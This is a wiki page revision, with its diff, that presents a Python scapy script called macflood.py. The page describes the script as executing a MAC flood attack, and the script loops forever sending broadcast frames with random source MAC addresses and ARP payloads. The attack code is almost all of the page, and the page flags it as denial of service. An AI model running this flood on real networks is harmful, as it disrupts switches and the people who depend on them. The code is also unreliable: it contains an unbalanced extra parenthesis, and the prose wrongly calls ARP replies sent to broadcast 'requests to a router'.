From charlesreid1

(Created page with "<pre> from scapy.all import * while 1: sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))) </pre>")
 
No edit summary
 
Line 1: Line 1:
The following Python script is from [http://stackoverflow.com/questions/1487389/python-scapy-mac-flooding-script] and executes a MAC flood attack. This consists of sending a large number of ARP requests to a router, where the requests are crafted with fake MACs.
'''macflood.py:'''
<pre>
<pre>
from scapy.all import *
from scapy.all import *


while 1:
while 1:
     sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))
     sendp( Ether( src=RandMAC(), dst="FF:FF:FF:FF:FF:FF" )/ARP( op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF" )/Padding( load="X"*18 )))
</pre>
</pre>
=Flags=
{{DoSFlag}}

Latest revision as of 07:50, 25 August 2016

The following Python script is from [1] and executes a MAC flood attack. This consists of sending a large number of ARP requests to a router, where the requests are crafted with fake MACs.

macflood.py:

from scapy.all import *

while 1:
    sendp( Ether( src=RandMAC(), dst="FF:FF:FF:FF:FF:FF" )/ARP( op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF" )/Padding( load="X"*18 )))


Flags